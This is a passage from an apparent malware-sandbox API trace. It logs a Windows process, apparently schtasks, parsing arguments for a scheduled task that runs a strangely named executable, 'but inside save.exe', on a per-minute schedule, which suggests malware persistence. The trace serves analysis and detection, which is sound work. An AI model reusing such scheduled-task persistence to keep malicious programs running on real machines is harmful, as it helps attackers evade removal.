wMatch=0x3a) returned=":\\comproviderRuntimecommon\\but inside save.exe'" [0157.059] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.059] _memicmp (_Buf1=0x24d500, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.059] _memicmp (_Buf1=0x24d540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.059] SetLastError (dwErrCode=0x7a) [0157.059] SetLastError (dwErrCode=0x0) [0157.059] SetLastError (dwErrCode=0x0) [0157.059] lstrlenW (lpString="'C") returned 2 [0157.059] lstrlenW (lpString="-/") returned 2 [0157.059] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0157.059] SetLastError (dwErrCode=0x490) [0157.059] SetLastError (dwErrCode=0x490) [0157.059] SetLastError (dwErrCode=0x0) [0157.059] _memicmp (_Buf1=0x24d580, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.059] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.060] GetProcessHeap () returned 0x230000 [0157.060] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d5a0) returned 1 [0157.060] GetProcessHeap () returned 0x230000 [0157.060] RtlReAllocateHeap (Heap=0x230000, Flags=0xc, Ptr=0x24d5a0, Size=0x64) returned 0x24c270 [0157.060] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.060] lstrlenW (lpString=" \x09") returned 2 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0157.060] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0157.061] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0157.061] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x76) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0157.061] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0157.061] GetLastError () returned 0x0 [0157.061] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.061] lstrlenW (lpString="'C:\\comproviderRuntimecommon\\but inside save.exe'") returned 49 [0157.061] SetLastError (dwErrCode=0x0) [0157.061] SetLastError (dwErrCode=0x0) [0157.061] lstrlenW (lpString="/f") returned 2 [0157.061] lstrlenW (lpString="-/") returned 2 [0157.061] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0157.061] lstrlenW (lpString="create") returned 6 [0157.061] lstrlenW (lpString="create") returned 6 [0157.061] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.061] lstrlenW (lpString="f") returned 1 [0157.061] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.061] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|create|") returned 8 [0157.062] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.062] lstrlenW (lpString="|create|") returned 8 [0157.062] lstrlenW (lpString="|f|") returned 3 [0157.062] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0157.062] SetLastError (dwErrCode=0x490) [0157.062] lstrlenW (lpString="?") returned 1 [0157.062] lstrlenW (lpString="?") returned 1 [0157.062] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.062] lstrlenW (lpString="f") returned 1 [0157.062] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.062] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|?|") returned 3 [0157.062] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.062] lstrlenW (lpString="|?|") returned 3 [0157.062] lstrlenW (lpString="|f|") returned 3 [0157.062] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0157.062] SetLastError (dwErrCode=0x490) [0157.062] lstrlenW (lpString="s") returned 1 [0157.062] lstrlenW (lpString="s") returned 1 [0157.062] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.062] lstrlenW (lpString="f") returned 1 [0157.062] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.062] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|s|") returned 3 [0157.062] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.062] lstrlenW (lpString="|s|") returned 3 [0157.062] lstrlenW (lpString="|f|") returned 3 [0157.062] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0157.062] SetLastError (dwErrCode=0x490) [0157.062] lstrlenW (lpString="u") returned 1 [0157.062] lstrlenW (lpString="u") returned 1 [0157.062] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.063] lstrlenW (lpString="f") returned 1 [0157.063] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.063] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|u|") returned 3 [0157.063] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.063] lstrlenW (lpString="|u|") returned 3 [0157.063] lstrlenW (lpString="|f|") returned 3 [0157.063] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0157.063] SetLastError (dwErrCode=0x490) [0157.063] lstrlenW (lpString="p") returned 1 [0157.063] lstrlenW (lpString="p") returned 1 [0157.063] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.063] lstrlenW (lpString="f") returned 1 [0157.063] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.063] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|p|") returned 3 [0157.063] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.063] lstrlenW (lpString="|p|") returned 3 [0157.063] lstrlenW (lpString="|f|") returned 3 [0157.063] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0157.063] SetLastError (dwErrCode=0x490) [0157.063] lstrlenW (lpString="ru") returned 2 [0157.063] lstrlenW (lpString="ru") returned 2 [0157.063] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.063] lstrlenW (lpString="f") returned 1 [0157.063] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.063] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|ru|") returned 4 [0157.063] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.063] lstrlenW (lpString="|ru|") returned 4 [0157.063] lstrlenW (lpString="|f|") returned 3 [0157.063] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0157.063] SetLastError (dwErrCode=0x490) [0157.063] lstrlenW (lpString="rp") returned 2 [0157.063] lstrlenW (lpString="rp") returned 2 [0157.063] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.064] lstrlenW (lpString="f") returned 1 [0157.064] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.064] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|rp|") returned 4 [0157.064] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.064] lstrlenW (lpString="|rp|") returned 4 [0157.064] lstrlenW (lpString="|f|") returned 3 [0157.064] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0157.064] SetLastError (dwErrCode=0x490) [0157.064] lstrlenW (lpString="sc") returned 2 [0157.064] lstrlenW (lpString="sc") returned 2 [0157.064] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.064] lstrlenW (lpString="f") returned 1 [0157.064] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.064] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sc|") returned 4 [0157.064] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.064] lstrlenW (lpString="|sc|") returned 4 [0157.064] lstrlenW (lpString="|f|") returned 3 [0157.064] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0157.064] SetLastError (dwErrCode=0x490) [0157.064] lstrlenW (lpString="mo") returned 2 [0157.064] lstrlenW (lpString="mo") returned 2 [0157.064] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.064] lstrlenW (lpString="f") returned 1 [0157.064] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.064] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|mo|") returned 4 [0157.064] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.064] lstrlenW (lpString="|mo|") returned 4 [0157.064] lstrlenW (lpString="|f|") returned 3 [0157.064] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0157.065] SetLastError (dwErrCode=0x490) [0157.065] lstrlenW (lpString="d") returned 1 [0157.065] lstrlenW (lpString="d") returned 1 [0157.065] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.065] lstrlenW (lpString="f") returned 1 [0157.065] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.065] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|d|") returned 3 [0157.065] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.065] lstrlenW (lpString="|d|") returned 3 [0157.065] lstrlenW (lpString="|f|") returned 3 [0157.065] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0157.065] SetLastError (dwErrCode=0x490) [0157.065] lstrlenW (lpString="m") returned 1 [0157.065] lstrlenW (lpString="m") returned 1 [0157.065] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.065] lstrlenW (lpString="f") returned 1 [0157.065] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.065] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|m|") returned 3 [0157.065] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.065] lstrlenW (lpString="|m|") returned 3 [0157.065] lstrlenW (lpString="|f|") returned 3 [0157.065] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0157.065] SetLastError (dwErrCode=0x490) [0157.065] lstrlenW (lpString="i") returned 1 [0157.065] lstrlenW (lpString="i") returned 1 [0157.065] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.065] lstrlenW (lpString="f") returned 1 [0157.065] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.065] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|i|") returned 3 [0157.065] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.065] lstrlenW (lpString="|i|") returned 3 [0157.066] lstrlenW (lpString="|f|") returned 3 [0157.066] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0157.066] SetLastError (dwErrCode=0x490) [0157.066] lstrlenW (lpString="tn") returned 2 [0157.066] lstrlenW (lpString="tn") returned 2 [0157.066] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.066] lstrlenW (lpString="f") returned 1 [0157.066] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.066] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tn|") returned 4 [0157.066] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.066] lstrlenW (lpString="|tn|") returned 4 [0157.066] lstrlenW (lpString="|f|") returned 3 [0157.066] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0157.066] SetLastError (dwErrCode=0x490) [0157.066] lstrlenW (lpString="tr") returned 2 [0157.066] lstrlenW (lpString="tr") returned 2 [0157.066] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.066] lstrlenW (lpString="f") returned 1 [0157.066] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.066] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|tr|") returned 4 [0157.066] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.066] lstrlenW (lpString="|tr|") returned 4 [0157.066] lstrlenW (lpString="|f|") returned 3 [0157.066] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0157.066] SetLastError (dwErrCode=0x490) [0157.066] lstrlenW (lpString="st") returned 2 [0157.066] lstrlenW (lpString="st") returned 2 [0157.066] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.066] lstrlenW (lpString="f") returned 1 [0157.066] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.066] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|st|") returned 4 [0157.066] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.067] lstrlenW (lpString="|st|") returned 4 [0157.067] lstrlenW (lpString="|f|") returned 3 [0157.067] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0157.067] SetLastError (dwErrCode=0x490) [0157.067] lstrlenW (lpString="sd") returned 2 [0157.067] lstrlenW (lpString="sd") returned 2 [0157.067] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.067] lstrlenW (lpString="f") returned 1 [0157.067] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.067] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|sd|") returned 4 [0157.067] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.067] lstrlenW (lpString="|sd|") returned 4 [0157.067] lstrlenW (lpString="|f|") returned 3 [0157.067] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0157.067] SetLastError (dwErrCode=0x490) [0157.067] lstrlenW (lpString="ed") returned 2 [0157.067] lstrlenW (lpString="ed") returned 2 [0157.067] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.067] lstrlenW (lpString="f") returned 1 [0157.067] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.067] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|ed|") returned 4 [0157.067] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.067] lstrlenW (lpString="|ed|") returned 4 [0157.067] lstrlenW (lpString="|f|") returned 3 [0157.067] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0157.067] SetLastError (dwErrCode=0x490) [0157.067] lstrlenW (lpString="it") returned 2 [0157.067] lstrlenW (lpString="it") returned 2 [0157.067] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.067] lstrlenW (lpString="f") returned 1 [0157.067] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.067] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|it|") returned 4 [0157.068] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.068] lstrlenW (lpString="|it|") returned 4 [0157.068] lstrlenW (lpString="|f|") returned 3 [0157.068] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0157.068] SetLastError (dwErrCode=0x490) [0157.068] lstrlenW (lpString="et") returned 2 [0157.068] lstrlenW (lpString="et") returned 2 [0157.068] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.068] lstrlenW (lpString="f") returned 1 [0157.068] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.068] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|et|") returned 4 [0157.068] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.068] lstrlenW (lpString="|et|") returned 4 [0157.068] lstrlenW (lpString="|f|") returned 3 [0157.068] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0157.068] SetLastError (dwErrCode=0x490) [0157.068] lstrlenW (lpString="k") returned 1 [0157.068] lstrlenW (lpString="k") returned 1 [0157.068] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.068] lstrlenW (lpString="f") returned 1 [0157.068] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.068] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|k|") returned 3 [0157.068] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.068] lstrlenW (lpString="|k|") returned 3 [0157.068] lstrlenW (lpString="|f|") returned 3 [0157.068] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0157.068] SetLastError (dwErrCode=0x490) [0157.068] lstrlenW (lpString="du") returned 2 [0157.068] lstrlenW (lpString="du") returned 2 [0157.068] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.069] lstrlenW (lpString="f") returned 1 [0157.069] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.069] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|du|") returned 4 [0157.069] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.069] lstrlenW (lpString="|du|") returned 4 [0157.069] lstrlenW (lpString="|f|") returned 3 [0157.069] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0157.069] SetLastError (dwErrCode=0x490) [0157.069] lstrlenW (lpString="ri") returned 2 [0157.069] lstrlenW (lpString="ri") returned 2 [0157.069] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.069] lstrlenW (lpString="f") returned 1 [0157.070] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.070] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|ri|") returned 4 [0157.070] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.070] lstrlenW (lpString="|ri|") returned 4 [0157.070] lstrlenW (lpString="|f|") returned 3 [0157.070] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0157.070] SetLastError (dwErrCode=0x490) [0157.070] lstrlenW (lpString="z") returned 1 [0157.070] lstrlenW (lpString="z") returned 1 [0157.070] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.070] lstrlenW (lpString="f") returned 1 [0157.070] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.070] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|z|") returned 3 [0157.070] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.070] lstrlenW (lpString="|z|") returned 3 [0157.070] lstrlenW (lpString="|f|") returned 3 [0157.070] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0157.070] SetLastError (dwErrCode=0x490) [0157.070] lstrlenW (lpString="f") returned 1 [0157.070] lstrlenW (lpString="f") returned 1 [0157.070] _memicmp (_Buf1=0x24c1c0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.070] lstrlenW (lpString="f") returned 1 [0157.070] _memicmp (_Buf1=0x24c200, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.070] _vsnwprintf (in: _Buffer=0x24c240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.070] _vsnwprintf (in: _Buffer=0x24c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc768 | out: _Buffer="|f|") returned 3 [0157.070] lstrlenW (lpString="|f|") returned 3 [0157.070] lstrlenW (lpString="|f|") returned 3 [0157.070] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0157.070] SetLastError (dwErrCode=0x0) [0157.070] SetLastError (dwErrCode=0x0) [0157.071] GetProcessHeap () returned 0x230000 [0157.071] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cd40 [0157.071] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.071] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0157.071] lstrlenW (lpString="MINUTE") returned 6 [0157.071] GetProcessHeap () returned 0x230000 [0157.071] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xe) returned 0x24d5a0 [0157.071] GetThreadLocale () returned 0x409 [0157.071] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0157.071] SetLastError (dwErrCode=0x0) [0157.071] GetProcessHeap () returned 0x230000 [0157.071] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x1fc) returned 0x24c2e0 [0157.071] GetProcessHeap () returned 0x230000 [0157.071] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cd10 [0157.071] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.071] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0157.071] lstrlenW (lpString="First") returned 5 [0157.071] GetProcessHeap () returned 0x230000 [0157.071] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xc) returned 0x24d5c0 [0157.071] GetProcessHeap () returned 0x230000 [0157.071] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cce0 [0157.071] _memicmp (_Buf1=0x24bab0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0157.071] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x24d2a0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0157.071] lstrlenW (lpString="Second") returned 6 [0157.071] GetProcessHeap () returned 0x230000 [0157.071] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xe) returned 